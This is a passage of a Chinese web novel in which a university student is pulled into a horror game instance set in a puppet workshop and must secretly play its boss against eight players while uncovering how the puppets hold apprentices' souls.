《在无限世界当boss[无限]》
1. 惊奇木偶院（1）
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再睁眼的时候，许舟发觉自己来到了一个纯白色的大厅。
许舟的正前方有一扇同样纯白的大门，她转身观察起了四周，遗憾的是，大厅空无一物。
“什么情况…”许舟揉了揉自己的太阳穴，陷入了回忆之中。
这本应该是再平常不过的一天，大四的许舟正忙于自己的毕设和毕业论文。
正当她在书桌前焦头烂额之际，她发现自己的笔记本电脑旁出现了一个精致的信封，信封上没有任何的字迹。
好奇的许舟打开了这个信封，此时的她，并不知晓打开信封这个举动会对她的未来产生翻天覆地的影响。
信封里是一张卡片。
与信封相同的是，卡片也是精致十分。
卡片采用的是优雅的绸缎纸质，触感柔软且富有光泽，宛如抚摸到初春的樱花花瓣。
上面有三个正楷大字：邀请函。
然而，除此之外，就没有其他的字了。
“什么嘛。”许舟忍不住嘟囔起来，“这是谁的恶作剧？做戏还不做全套，连邀请去哪都不知道。”
说罢，许舟便把邀请函丢到一边，继续沉溺在毕设和毕业论文的苦海之中。
然而，许舟很快就知道邀请函到底要邀请她去哪儿了。
一阵天旋地转的晕眩向许舟袭来，许舟闭上了双眼尝试抵挡这种难以形容的难受。
然后许舟就出现在了这个纯白的大厅。
大厅的门突然冒起了淡淡的银光，似乎在向许舟表示欢迎，吸引她拉开这扇未知的大门。
许舟思绪被拉回了现实。
她心念，门后不会有什么危险吧？不过待在原地也不会有更多的线索了，不如就去看看好了。
许舟向前走了几步，来到了这扇大门前。
许舟的手还没碰到门把手，大门便自己打开了。
门内冒出刺眼的银光，让许舟不得不闭上了双眼，她只得摸着墙慢慢向前走去。
走了几步后，许舟脑海中浮现一个声音。
——欢迎来到惊奇木偶院。
——玩家数量：8人。
“什么？惊奇木偶院？玩家又是什么？”许舟的脑子飞速运转起来。
许舟看过很多小说，她在心底默默做出判断——我是来到了一个副本里，跟着大部队避开死亡条件应该就能通关了。
不过大部队呢？刚刚那个大厅没看到有其他人呀。不管了，也许到了目的地就能看到了。
许舟感受到外面的灯光变暗，空气中弥漫着淡淡的木材香和颜料的味道。
她尝试睁开眼睛，发现自己已经置身于一个昏暗的房间。
房间不大，布置却很精美。
一面墙边放着一个木质的大架子，架子上摆放着琳琅满目的制作工具，从精细的雕刻刀到色彩斑斓的颜料，都在默默地告诉许舟，这是一个制作木偶的工作室。
工作室正中央摆放着一个木凳与木桌。桌上有一盏昏黄的煤油灯，也是这个房间唯一的光源。
柔和的灯光洒在每一个角落，为房间披上了一层温暖而神秘的光影。
许舟走到木桌旁，发现煤油灯下压着一个小册子。
许舟小心翼翼地把册子抽了出来。
轻轻翻开册子，里面是制作提线木偶的流程。
刻刀定点——轮廓加深——上粉敷彩——穿针引线。
奇怪的是，在“刻刀定点”的“刀”字和在“穿针引线”的“针”字上，被红色的笔画了一个大大的圈。
“…？”许舟陷入沉思。
“我们玩家的任务是制作提线木偶吗？那是不是我们做完了木偶就能通关了？”许舟思考着。
接着，许舟在房间的一个角落发现了一个巨大的落地镜，许舟走过去，发现自己的外貌与现实世界无异，只是服装变成了一条优雅的黑色长裙与高跟鞋。
“咚咚——”工作室的门被人敲响，“落洛，上周来预订木偶的客人来了。”
许舟吃了一惊——落洛是谁？怎么办？
待会开了门，我就说我是路过的旅人，想要借宿一晚，由于没见到人而走入寻找好了。
许舟把小册子压回了煤油灯下，深吸一口气，打开工作室的门，露出一个甜美的微笑。
门外是一个短发的女孩，年龄与许舟相仿。
女孩身穿淡蓝色长裙，胸口挂有一个胸牌，上面写着——助理小甜。
许舟正要张口解释，小甜挽住了许舟的手臂，拉着她走出工作室，来到了一条同样昏黄且很长的走廊。
许舟心里咯噔一下——原来小甜口里的落洛是自己，要是刚刚自己的话先说了出去，后果不堪设想。
许舟和小甜走过长长的走廊，正要来到一个大厅前时，小甜做出了一个让许舟不解的举动——她松开了挽住许舟手臂的手。
两人来到大厅，厅里一位身材略微肥胖的男人正坐在大沙发上，已经等候多时。
透过透明大门和展示柜，许舟发现此时夜色已深。
小甜鞠了个躬，向男人表示歉意：“抱歉让您久等了。”
许舟故作镇定地坐到沙发的另一侧，沙发的面料选择考究，可能是高级的天鹅绒、柔软的亚麻或是细腻的皮质，触感柔软舒适。
男人看到许舟，摆摆手表示无关紧要，客套道：“花老板真是年轻有为呀。我来取我上周预订的木偶了。”
许舟快速捕捉到男人口中的关键词——花老板。
自己姓花，在这个副本中扮演的角色是花落洛。
那么，其他的七名玩家呢？
许舟狐疑地看了小甜一眼——小甜是玩家吗？
不过许舟很快打破了疑虑，小甜的举动无处不表现出她对木偶院的熟悉，她应该只是普通的NPC罢了。
男人说着，便取出了一叠现金，交到了许舟的手里。
“这是尾款。”
？？？
许舟震惊了，什么提线木偶这么值钱？
既然男人交了钱，自己总得要交上男人要的提线木偶吧。
在我穿越进这个副本之前，原来的花落洛应该已经准备好了男人所要的提线木偶了。许舟这么想着，暗暗松了口气。
问题就在于自己不知道提线木偶放在哪里，但又不能在NPC面前表现得太奇怪。
许舟看了小甜的胸牌一眼，作为自己的助理，应该知道木偶在哪吧？
许舟决定就这么赌一把，她甜甜地笑道：“小甜，麻烦你去帮我拿一下这位先生的木偶。”
小甜应了声便离开，再次进入那长长的走廊。
趁着小甜离开客厅的空档，许舟决定套套话。
许舟温柔地说道：“先生，您是如何了解到咱家木偶屋的？”
许舟一边说着，一边顺手拿起一个茶壶给男人倒茶，仿佛在和男人唠家常般自然。
男人拿起茶杯，抿了一口，回应道：“花老板的木偶惊
2. 惊奇木偶院（2）
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这么晚了，会是谁？
刚刚放松一点的许舟不禁再次捏了把汗。
她回过头，双眸映着那漆黑而幽深的走廊。
小甜顿了一下，轻快地和许舟说：“落洛，你先上去休息，我去看看。”
许舟可不知道真正的“花落洛”做过什么事、认识什么人，她担心自己在场会露馅，而又害怕自己不在场会丢失线索。
但是，不承担风险又怎么会有收获呢？
想到这，许舟温柔地对小甜摇了摇头，说道：“没事，我感觉好很多了，我们一起去大门看看吧。”
“那好吧。”小甜又拉着许舟，进入到长长的走廊之中。
许舟一边走，一边观察走廊左右的房间，她需要对木偶院的布局有一个大概的认知。
从楼梯的方位一直到大厅——最先进入许舟目光的便是许舟开始所在的工作室和工作室对门的储物间。
接着便有一扇半开着的门，许舟快速地瞥了一眼，看见里面有一张精致的欧式餐桌和一些椅子，这应该是餐厅吧，许舟默默记在了心里。
继续往前走，有一扇紧闭着的门，或许里面有什么秘密。
最后，在走到大厅前，许舟看见了洗手间和厨房。
又和之前一样，来到大厅时，小甜松开了挽着许舟的手。
玻璃门外站着几个人，有的在窃窃私语，有的面色慌乱，也有的在观察着木偶院的大厅。
许舟刚想对着这些不速之客询问他们的身份，小甜便率先开口：“你们怎么现在才到？我们约的时间是今天上午，我一直以为你们不打算来了。”
又约了什么人？
怎么这家木偶院约了这么多人啊？
许舟有点绝望。
按门铃的是一个长相普通的寸头男，他立即礼貌地回应道：“非常抱歉，路上有点事耽搁了行程，因此现在才赶到木偶院。”
小甜收起那活泼可爱的模样，故作严厉地说：“下不为例。进来吧，新到的学徒们。”
说罢，小甜打开了大门的锁，一行人便挤了进来。
寸头男旁边的短发女子看见许舟，向小甜问道：“这位是我们未来的老师——花落洛吗？久仰大名。”
小甜点了点头。
还好还好，这些人应该是小甜帮忙招进来的学徒，没有和真正的花落洛打过交道，不容易发现自己身份的异常。
想到这，许舟咳了咳，笑了一下，礼貌地说道：“我们先彼此认识一下吧。我是木偶院的店长花落洛。”
两个年纪较小的女孩握着彼此的手，一个壮汉也显得有些局促，他们三人的目光落到了寸头男的身上，寸头男微不可查地点了点头，仿佛给予了他们许可证。
壮汉这才开口道：“你好你好，我是朱正豪，一名货车司…”
壮汉话未说完，便被寸头男瞪了一眼打断。
许舟心中升起疑惑，但仍面不改色。
看来，这个寸头男是他们几人的领导者。
两个女孩中的一位说道：“我是向思雨，这是我的妹妹向思阳。”
开口说话的女孩向思雨看上去十分紧张，反观妹妹向思阳的面色会更冷静一点。
“我叫何念。”
“伍嘉嘉。”
又有两位报上了自己的名字。
按门铃的寸头男这才开口：“我是陆漠南。”
短发女简短地说道：“刘海燕。”
最后，一名身材高挑、面部轮廓棱角分明的男性缓缓说道：“沈霁。”
沈霁语气淡漠，带着些许高冷，仿佛置身事外，这里的一切与他无关。
这里有八个人。
在最后一人报上自己的名字后，许舟意识到，这里有八个人。
瞬间，进入惊奇木偶院副本时“玩家人数：8人”的提示音、朱正豪被打断的“货车司…”与面前的人数融为一体。
许舟惊觉，这八个人才是副本系统所说的玩家。
而自己，竟然上来就成为了副本的boss！！！
别人——团队作战。
自己——1v8。
这是什么垃圾副本？
许舟觉得自己被副本玩弄了感情。
不过，直接成为boss，还是有点小兴奋的。
许舟控制自己的表情，不想让这些玩家看出自己强烈的心理活动。
小甜说道：“我为各位学徒准备了四间客房，你们两两一组自行分配。”
“妹妹，我和你一组，你放心，我会保护你的。”向思雨用她发抖的手拍了拍妹妹的肩膀。
明明自己也很害怕，却还是想着保护妹妹。许舟对她有了初步印象。
叫何念的女孩眼泛泪光，似乎在进木偶院前哭过，她看了一眼高冷干练的刘海燕，走向另一个看起来更亲近的女生伍嘉嘉。
两人嘀咕了几句，应该是组好了队。
“那个，我可以和你一起吗？”朱正豪也许是被陆漠南瞪得有点害怕，走到沈霁面前问道。
沈霁点点头，保持一如既往的寡言少语。
“你好，刚刚介绍过了，我是刘海燕。”高冷干练的刘海燕向陆漠南伸出了手，陆漠南回握，二人一拍即合。
小甜拿出了一串钥匙，把钥匙分给了众人，伸手指向走廊：“你们的房间都在二楼。”
许舟和众人的目光随小甜的手指看向昏暗的走廊。
瞬间，整个大厅与走廊漆黑一片，甚至无法看见从玻璃门与展示柜外透进来的月光。
紧接着，煤油灯的灯光恢复，众人视野变得清明。
走廊的尽头出现一个身着白衣的木偶，“嘎吱——”，木偶的头向右侧九十度扭曲。
“啊——”人群中不知谁叫了出来。
伴随着叫声，屋内再次被伸手不见五指的黑暗吞噬。
再亮起时，木偶已来到走廊与大厅的交接处，那身着白衣的木偶如蜘蛛般倒着附着在天花板上，木偶的头向左侧九十度扭去。
屋内又是一片漆黑。
木偶院光线变得正常的时候，是小甜双手托举着一盏煤油灯。
而那个白衣木偶已然消失不见。
“刚刚那个是什么…”向思雨攥着向思阳的手，紧张地问。
“姐姐，已经没事了。”向思阳性情坚韧许多，安慰向思雨道。
小甜微微弯腰，把煤油灯放在木偶院前台，接着，她的动作顿了一下。
而后，小甜一边伸直身体，一边解释道：“不好意思，木偶院有时夜间风大，会吹灭煤油灯。”
可是，玻璃门与门两侧的展示台间无任何缝隙，又怎么会进风呢？
一看就经验丰富的陆漠南开口道：“我们初到木偶院学习，方便领我们了解一下木偶院的布局吗？”
小甜抬头看了许舟一眼，等待许舟的答复。
我作为木偶院的“新”店长，我都不完全了解木偶院的房间布局，怎么带你们去啊，可别出什么岔子。
许舟心里嘀咕道。
于是，许舟柔声拒绝：“今天已经比较晚了，明早再带各位学徒一块参观。”
看来今晚自己是睡不好觉了。
得趁着大家睡着的时候偷偷地深入了解木偶院。
刘海燕轻哼一声，但仍是客气地问道：“那可以先给我们分发制造木偶的材料吗？我们都是非常热爱制造木偶的。”
“嗯嗯！”伍嘉嘉眼睛放光，期盼地看着许舟。
话已至此，再拒绝就说不过去了。
再说，自己已经知道储物间在哪里，给他们先提供材料和工
3. 惊奇木偶院（3）
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许舟此时正坐在床前。
在小甜离开房间后，她就坐起来了。
这一晚，所有人都可以睡觉，但她不可以。
如果她不悄悄探索木偶院的秘密，那么明天就很有可能露馅。
更何况她还答应了第二天要带普通玩家们去参观木偶院布局。
许舟发现床头柜上摆了一个精致的陶瓷杯，上面有一个Q版女孩的图样，仔细一看，穿搭有点像现在自己进木偶院后被系统自动换上的长裙。
陶瓷杯空空如也，也没有任何的水渍。
真正的花落洛是没有用过这个杯子喝水吗？
许舟用手指轻轻抚过床头柜顶端，在月光下注视着自己的手指。
她发现床头柜已然蒙尘，但这精致的陶瓷杯上却不沾染一丝灰尘。
看来花落洛是十分爱惜这个杯子的，也正是因为她的爱惜，她甚至不舍得去使用。
许舟回忆起今天的奇幻经历。
“花老板的木偶院这么有名气，想不了解都难啊。”
今天那位男客人的话语划过了许舟的脑海。
这是家很有名气的木偶院。
而且根据男客人所言，木偶院应该坐落于一个叫格姆小镇的镇子上。
那么，镇上往期的报纸，也许就有木偶院相关的线索。
许舟顿觉有了方向。
在一些商店中，为了供等待的客人消遣，接待大厅中会放置一些报刊架供客人取阅。
许舟决定下楼看看。
许舟悄悄地下地，走到卧室门开门。
我堂堂副本NPC，还是惊奇木偶院的老板，怎么和木偶院小偷一样？
许舟心里直嘀咕。
她离开卧室后还不忘把门带上。
许舟默默向前走去，经过一扇门时，她听到里面有人在说话。
如果许舟没有记错的话，这应该是沈霁和朱正豪的房间。
许舟安静地站在门口。
“还好小兄弟你没让我去储物间取材料，不然我可能就和那个妹子一样…”朱正豪发出劫后余生的感慨。
“我是第三个来到这个副本的，当时我看到刘海燕和陆漠南已经到了，他们当时正在说话，看到我的时候才停。”沈霁沉稳的声线传来。
“你的意思是…”
房间突然安静了下来，接着传来靠近门口的脚步声。
门打开了一条缝。
完了，被发现自己偷听了。
没事，我是boss，不怕，就当无事发生。
一秒之间，许舟就做了个决定——保持冷静，保持好boss的人设。
许舟面不改色地说道：“这么晚了，早点休息吧。明天还要参观木偶院布局，不是吗？”
“好的。”沈霁关上了门。
自己明明已经很安静了，还是被这个沈霁发现了自己在门口。
这个男人，虽然很低调、话也不多，但不容小觑。许舟心想。
想到沈霁刚刚和朱正豪说的话，许舟猜测陆漠南和刘海燕本就认识，在去取材料前一唱一和也许是为了找人当炮灰。
真是人心叵测。
许舟继续向前走去，发现刘海燕和陆漠南也在说话。
“我们任务是学习做一个提线木偶，还没开始就死了一个，不知道还会有什么危险呢…”刘海燕说道。
……
……
许舟听了许久，但再也没什么重要信息。
不过许舟知道了普通玩家的任务，也算有所进展。
许舟刚刚在门外站了这么久，这两人都没有发现，而在沈霁门外仅一会儿，便被发现端倪。
虽然陆漠南表面上是这群人的领导者，但沈霁的实力，应当远在这群人之上。
终于，许舟来到了一楼。
面对这条又深又暗的走廊，许舟心里开始打鼓。
这是她第一次独自穿过这条走廊。
“不怕不怕，我是boss。”许舟给自己鼓气后，便迈出步子向前走去。
“呜呜呜呜…”走到一半，许舟的头顶传来哭泣声，把许舟吓了一跳。
许舟小心翼翼地缓缓抬头，发现右侧墙顶一个本来是用来摆放煤油灯的木架子上，不知何时坐上了一个提线木偶，提线木偶的双腿垂下，正前后摆动，而它正在哭泣。
仿佛是察觉到了许舟的目光，煤油灯突然一灭——一亮，哭泣的提线木偶不见了。
“呼——没事了。”许舟刚又向前走了两侧，头顶却又传来了声音。
“为什么！为什么！”这是一种极其哀怨的声音，空洞而深不见底。
有了上次的经历，许舟这次没这么怕了。
她抬头，左侧墙顶的木架上坐上了另一个样式不同的提线木偶，它的木头眼睛恶狠狠地瞪着许舟，发出质问。
如先前一样，与许舟对视的一瞬间，上面的煤油灯一灭——一亮，提线木偶不见了。
真无聊，又是一样的路数。许舟撇撇嘴。
许舟来到大厅，这个她踏入过三次，却没有仔细观察过的大厅。
前台正对着玻璃大门。
而那精美的软皮沙发安置在正对着走廊的那个角落，沙发的后面有一个高高的报刊架。
之前都没发现呢。
果然，越显眼的地方，就越经常被人所忽略。
许舟走到沙发旁，从报刊架抽出里面的报纸。
花落洛真是个细心的人，这的报纸除了个别的错序外，大部分都是按时间顺序摆放。
错序的估计是曾经顾客之手，花落洛没来得及整理回原位。
许舟从时间早的报纸开始看起，毕竟这家木偶院应该出名了有些年头了。
在昏黄摇曳的欧式煤油灯下，光影斑驳，仿佛时光都被拉长了。
一张张发黄的报纸被许舟轻轻摊开而又合上，字迹已有些模糊，但每一个字都承载着小镇历史的痕迹。
随着许舟手指的轻轻滑动，纸张发出沙沙的声响。
终于，许舟找到了那张诉说惊奇木偶院故事的报纸。
报纸的时间是两年前。
标题——格姆小镇上的天才木偶师！
内容——近日，一位天才木偶师横空出世，天才木偶师展现了她非凡的技艺，她所制造的提线木偶仿佛被赋予了灵魂。每一个细微的动作，每一次情感的流露，都显得如此生动而真实。购买者纷纷表示，这些提线木偶不仅仅是木头和布料的结合，更是拥有独特个性和情感的生命体。
——更是有传闻宣称，在夜晚看见木偶师所制造的提线木偶活了过来。
果然，这两天看到的不是错觉，这里的提线木偶
4. 惊奇木偶院（4）
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储物间的门开了。
小甜的面庞出现在门外。
便在门打开的一瞬间，温柔、甜美的微笑挂在了许舟的脸上。
小甜看见是许舟，仿佛松了口气，说道：“我看见一个人影走了进来，还以为是新到的学徒。大半夜的，你怎么不睡觉？”
许舟深知木偶院有秘密，这个木块就是最好的佐证。
她根据小甜对自己的态度推测，这个秘密应该共存于小甜与花落洛的心中。
于是，许舟决定赌一把，她摊开手，露出了手中吸进了伍嘉嘉的木块，用一种极具暗示性的眼神向手心看去。
许舟没有说话，说得越多越容易犯错。
小甜跟随着许舟的目光看去，灵光一闪般拍了拍自己的脑袋，恢复了她活泼可爱的模样：“噢，原来是这个，我差点忘了。可不能让那几个学徒发现。”
许舟赌对了，顺着小甜的话接下去：“嗯，明天要带他们参观木偶院，我打算先放回我的房间。”
许舟和小甜便在储物间门口作别。
许舟顺着木质阶梯重新回到二楼。
小甜刚刚询问自己为什么半夜不睡觉，那小甜她本人呢？她半夜又在外面做什么呢？
许舟来到二楼的走廊。她一边思考，一边经过普通玩家们的房门来到自己的卧室门前。
等等——
许舟发现了什么不对。
她倒回去走到二楼楼梯口，重新向二楼走廊自己的卧室走去。
“一、二、三、四…”
…
！！！
二楼除了许舟自己的房间，一共就只有四个房间了。
如果玩家们两两一组的话，再加上自己，就已经占据了二楼所有的房间。
小甜住在哪呢？
许舟想起了一楼那个紧闭着的房门。
小甜应该住在那里，她怎么不和我们一起住在二楼？还是说她的房间有什么秘密？
许舟当下立断，决定找个机会进小甜的房间看看。
疑惑的种子自此埋在了许舟的心里。
许舟重新回到自己的卧室。
她本想把木块放到床头柜，但转念一想，如果自己是玩家，一定会想方设法进入自己的房间找线索，床头柜实在是个容易被翻找的地方。
最后，许舟把木块放到了床底。
“呼。”许舟瘫在了床上。
虽然来到这个副本仅仅一个晚上，但许舟觉得这一夜发生的事情比她在现实生活中一周发生的事情还要多。
初入副本，注定是个难眠之夜。
许舟脑海异常活跃。
虽然今天在刘海燕和陆漠南房门前听到他们说普通玩家任务是制造一个木偶，但自己既然有剧情探索度，很难保证普通玩家就没有这个探索度系统。
他们的探索度会不会对自己的通关造成影响呢？
许舟不是一个会随意害人的人，但是她也不是圣母。
若大家能共同通关，那自然最好。但如果让她选择不认识的人的生命和她自己的生命，她会选择后者。
许舟决定先部分隐瞒自己获得的线索，有必要的话编造一些谎言，但也要留有一线余地，不管是对自己还是对其他人。
在此之前，先确认花落洛到底是用什么人的灵魂做成这么多提线木偶。
就这么想着，许舟最终还是在黎明之际进入了短暂的睡眠。
…
“咚咚——”
叫醒许舟的不是耀眼的阳光，而是一阵规律的敲门声。
许舟揉了揉眼睛，起身向卧室门走去。
没想到自己还真睡着了。
不会是玩家来催自己了吧？
如果是这样的话，那作为boss也太没排面了，还要玩家来叫醒自己。
许舟打开了卧室门，熟悉的身影站在门前。
原来是小甜。
小甜用手指轻轻弹了弹许舟的额头，嬉皮笑脸地说：“怎么今天起这么晚，之前那个每天天蒙蒙亮就起床的花落洛去哪了？”
好好好，我要演好boss，还要早起是吧？
许舟装作与小甜关系密切，她打趣道：“因为我昨晚梦到我们过去的时光了。”
没想到，阴差阳错间，许舟点出了一条新的线索。
小甜听到这句话收起了笑容，轻轻叹了口气：“我也很怀念我们以前的时光。不过现在这样，也挺好的。”
“学徒们已经在楼下吃我准备好的早餐了，你也快去吧。”小甜补充道。
许舟点点头便下楼来到餐厅。
餐桌上摆了八个碟子，其他七个碟子前都坐了人，剩下的那个便是留给许舟的。
小甜为大家准备了牛角包和牛奶，虽然不是特别精致，但也还算味道不错。
七个人一看到许舟入座，原本的谈话声瞬间消失，只是默默地低头吃属于自己的那份早餐。
短暂的用餐时间很快结束。
小甜来到餐桌前向众人鞠了一躬，随后说道：“咱们今天上午由花店长带各位参观木偶屋，午餐请各位自便，下午就开始学习制造木偶的第一课，最后回到餐厅共进晚餐。”
这安排紧凑而充实，就是苦了许舟。
许舟站起身，朝众人微微一笑：“跟我走吧，从这边开始参观。”
还好许舟昨晚又走了一遍加深对木偶院布局的印象，她凭借着自己的记忆，顺利地带普通玩家们参观了木偶院。
在一楼房门禁闭的房间前，许舟本想隐瞒自己的发现——这是小甜的房间，但许舟想到名为沈霁的男人，自己能发现的事情，他恐怕也能发现，还是不要欲盖弥彰了。最终，许舟坦诚说道：“这个是小甜的卧室。”
但许舟加上了一句：“我和小甜都是比较注重隐私的人，希望大家未经允许不要进入我们的房间。”
说这句话的时候许舟试着冷冷一笑，毕竟当boss就要当得像一点。
而在参观储物间时，不出许舟所料，陆漠南仔细地端详了那个摆木块的架子，他必然已经发现吸走伍嘉嘉的木块的丢失。
回头他一定会告诉其他人。
与其让他们乱猜，不如许舟自己说，但在这一点上，许舟选择撒了个小谎，毕竟这可能涉及木偶院的核心秘密。
“那个木块我看脏了，让小甜和其他垃圾一起丢了。”许舟面无表情地说，颇有boss的风范。
许舟说出来，其他人不一定会信，但尽管如此，她还是一定要说。
木偶院的参观不知不觉间便结束。
趁着中午普通玩家们自由活动的时间，许舟来到了工作室，她抽出了压在煤油灯底下的小册子，陷入新一轮的苦恼。
这个册子上就写了简单的16个字，我要怎么教他们做木偶啊？
我只是一个什么都不会的冒牌boss。
然而，就当这次册子上制作木偶的第一步“刻刀
5. 惊奇木偶院（5）
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一个复古的闹钟叫醒了许舟。
太阳这时才刚刚升起。
虽然昨天小甜没有起疑，但是许舟昨晚还是决定按照花落洛的习惯做事，比如早起，于是她设了个闹钟。
许舟打开房门，却看见小甜站在一个房间门口，那个房间的门微微打开。
小甜居然起得比自己还早，现在副本NPC都这么敬业吗？
如果许舟没有记错的话，那个房间应该是沈霁和…朱正豪的房间。
许舟心生不详的预感，快步走到房门。
许舟向门内看去，却只看见沈霁一人的身影。
有了伍嘉嘉的经验，许舟知道朱正豪大概是凶多吉少。
自己是boss，不能表现得太吃惊，她用试探的眼神看向小甜，小甜点点头，验证了许舟的猜测。
…
昨日夜里。
朱正豪和沈霁的房间。
在月色笼罩的卧室内，朱正豪和沈霁躺在上下床休息。
朱正豪所制作的木偶被他摆在了自己的枕头边。
然而这个提线木偶突然亮了，发出了淡淡的荧光。如果朱正豪此时醒来，他就会发现，自己雕刻的木偶的面容不知何时已经变成了自己的脸。
不仅如此，木偶的嘴角垂下，露出了一个很伤心的表情。
他还会发现，一个与人等高的提线木偶出现在他的床边，仔细观察就会发现这个木偶是先前在餐厅跳舞的那个。
木偶踮起脚尖，抬起木头双臂，优雅地为沉睡的朱正豪献上一支舞蹈。
然而提线木偶的肢体毕竟是木头做的，因此动作较为僵硬，让本该优雅的舞蹈在荧光下附上了一层鬼魅的阴影。
伴随着舞蹈的结束，朱正豪被吸进了自己做的木偶里，荧光慢慢变浅，最后消失不见，房间中再次只有月光照明。
舞蹈的木偶面朝床头，深深鞠了一躬，便在昏暗的房间中不见身影。
朱正豪昨日本以为出现在自己身后而未对自己造成惊吓的舞蹈木偶并不是对他的馈赠，那其实是个无声的死亡预言。
…
昨天晚餐餐桌上舞蹈的木偶是死亡预言。许舟虽然没有亲眼目睹朱正豪死亡的场面，但是她脑海中划过这样的一个念头。
有了第二个死者，死亡条件呼之欲出。
众人也纷纷从自己的房间走来，小甜带着大家来到一楼餐厅。
这次只有七份餐具餐品，但又是一样的牛角包和牛奶。
小甜在门口鞠了一躬转身离去。
玩家又减员了，压抑低沉的氛围笼罩着餐桌。
陆漠南也顾不得许舟这个boss在场，粗声粗气地向沈霁问道：“你昨天和他住在一起，他是怎么死的？”
沈霁不想与陆漠南过多言语，只是冷冷地说道：“我昨晚睡着了，没有看见。”
紧接着，他扫了其他人一眼，也许是不想有更多无谓的牺牲，他补充道：“死亡条件应该与朱正豪刮破了手有关，他把血液弄到了自己的木块上。”
陆漠南说道：“那伍嘉嘉呢？她并没有刮破…”
陆漠南话说一半，便自己收了声。
许舟顺着陆漠南的话想了下去。
伍嘉嘉真的没有刮破手吗？
在伍嘉嘉被储物间的木块吸进去之后，许舟看到木块上多了一点血渍，当时许舟觉得血渍是吸进去的时候无意弄上去的。
但如果不是这样呢？
如果是伍嘉嘉先被木块的毛刺弄伤了手，因此触发死亡条件，再被木块吸进去的呢？
许舟觉得自己先前的惯性思维误导了自己。
——解锁玩家死亡条件“染血的木偶”
许舟脑海的声音出现。
——由于玩家抢先获知死亡条件，该部分的奖励失效。
声音继续道。
原来，推算死亡条件可以获得奖励，但是boss和普通玩家之间存在竞速关系。
许舟很懊恼，险些在普通玩家的面前拍了拍自己的脑袋。
就是不知道死亡条件对boss适不适用呢？应该不适用吧，否则那个脑海中的声音就没有必要专门强调“玩家”二字了。许舟考虑着。
众人吃得差不多之后，小甜来到餐厅，她平淡而公式化地说道：“今天我们上午自由活动，下午学习制造木偶的第二个步骤，晚餐和昨天一样。”
小甜这时的声音有点像无情的AI音，她在花落洛面前和在其他人面前的态度差异极大。
小甜说罢，许舟起身来到工作室，从身上掏出那个旧的小册子，准备先把第二个步骤的知识过一下。
“轮廓加深…”许舟的目光扫过第二个步骤的四个字。
——获取制造木偶的步骤“轮廓加深”相关知识。
“这个步骤还要用到雕刻刀，感觉对初学者来说一不小心还是会受伤。虽然制造一个木偶看样子很简单，但还真是满满的恶意。”许舟不禁感叹。
许舟把小册子放回了兜里。
刚离开工作室，就看见沈霁朝自己的方向走来。
他不会是来找自己的吧？许舟暗暗地想。
真是怕什么来什么，沈霁的脚步停在了许舟跟前。
沈霁礼貌地问：“花老师，我刚刚出门在小镇上逛了一圈，发现小镇上有许多寻人启事。”
沈霁的声音很有磁性。
“你猜我发现了什么，失踪的人都来咱们店里当过学徒。”
“我们木偶院那么著名，却仍在不断地招大量学徒，之前的学徒都去哪了呢？”
沈霁的猜测和许舟不谋而合。
许舟也觉得，真正的花落洛是利用学徒，把他们的灵魂吸进木偶之中，制成镇上人眼中有灵魂的木偶而后加以出售。
至于如何将吸进了灵魂的木偶的外貌变成顾客所念之人，应该另有别的办法。
——恭喜解锁剧情碎片“失踪的学徒”
——剧情完成度达到50%
果然如此，猜测彻底印证，声音才会出现，进度才会真正推进。
可惜沈霁和自己不是一个阵营的。
许舟捏了一把冷汗。
没想到沈霁自己替许舟解了围，他浅浅地笑了一下：“也许是学徒们学成之后，去异地发了吧。”
笑容的背后是无尽的寒意。
许舟点点头，很勉强地回了一个笑脸。
许舟知道，沈霁这很显然已经不是猜测，而是一种笃定的态度，他知道不触犯死亡条件的情况下NPC很难攻击自己，于是难得地说了这么多话，也许是试探，也许是挑衅。
许舟的神色变化自然也被沈霁尽收眼底。
这是许舟第一次真真切切地有了危
6. 惊奇木偶院（6）
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“我今天有一件重要的事情需要通知各位。”
小甜的声音十分平稳。
“今明两天各位制作完属于自己的木偶后，花店长就会回自己的家乡，这家木偶院从此由我接管。”
什么？？？
多数人听到这话纷纷面露惊讶的神色。
而只有沈霁和许舟稳若泰山。
玩家们也顾不得许舟和小甜在场，何念身体微微向陆漠南的方向探去，小声问道：“这是什么意思？”
陆漠南眼神一暗，回应道：“这是我们这个副本的结束时间，意味着我们最晚明天一定要做出木偶并通关副本。”
刘海燕对陆漠南耳语：“之前的副本都是刚开启时就得知结束时间，这次怎么…”
刘海燕的声音很小，但还是被许舟捕捉到了。
他们果然是一起的，还共同经历过很多副本。
而许舟同普通玩家般，也在思索，只是他们思考的内容截然不同。
如果明天就是截止时间，那我是要在明天前完成100%的剧情探索度吗？
小甜这几天从没有和自己提及过自己要回家乡的事情，那么是什么原因让小甜这样说呢？
疑问越来越多了。
接着，小甜与前几天一样，开始告知新一天的安排：“第三步上粉敷彩比较简单，各位学徒自学完成即可，可以自由分配时间。至于相关的学习资料，可以在工作室寻找”
说罢，小甜鞠了个躬，但并未立即抬起，而是顿了一下后不太协调地直起身。
由于小甜这一顿，许舟发现小甜白净的右手手背上有一颗鲜艳的红痣，如纯白的雪中有一点朱砂，静谧而热烈。
小甜的话亦如海浪般，让玩家们感到一波未平一波又起，这一天的木偶制作步骤竟然还要由他们自行完成。
然而许舟窃喜，玩家自学完成，就意味着今天一天许舟都是自由的，这是她作为一个boss的自由探索时间。
想到这，许舟忍不住夸副本好心。
今天要去哪呢？
许舟脑海中浮现了一楼那个房门禁闭、她一度认为是小甜卧室的房间。
只不过要怎么进去——
自己与小甜的互动片段零零碎碎地闪过许舟的思绪中，小甜对许舟的态度给了许舟自信——直接进！
这几天来看花落洛与小甜私交甚好，何必畏畏缩缩呢？
不过还是要稍微避开一下玩家。
等到玩家们吃完早餐后三三两两地离去后，许舟才站起身径直前往那个房门禁闭的房间。
许舟心一横，“咚咚”，她的手叩在了门上，等待着里面的人的回应——小甜也许此刻就在里面。
果不其然，门开了，小甜戒备的面容出现在门后。
看见来人是许舟，小甜神色瞬间放松，她探出头左右张望，确保没有其他人后挥手让许舟快点进去。
许舟也是十分配合，毕竟自己boss的身份做戏就要做全套，她进去后顺手带上了房门并直接将门反锁。
这个房间处处弥漫着诡异的气息，房间正中间的地板上画着一个巨大的五芒星，像是一个类似魔法阵的东西。
魔法阵的中央有一个凹槽，凹槽不大，但大概可以分辨出凹槽的形状有点像木偶。
许舟在心里默默给线索做了连线——吸进学徒灵魂的木偶会变成学徒的相貌，而要将木偶的面貌变成前来木偶院订购木偶的客人所需的模样，也许依靠的就是这个魔法阵。
这个魔法阵大概有改变灵魂形状与相貌的作用。
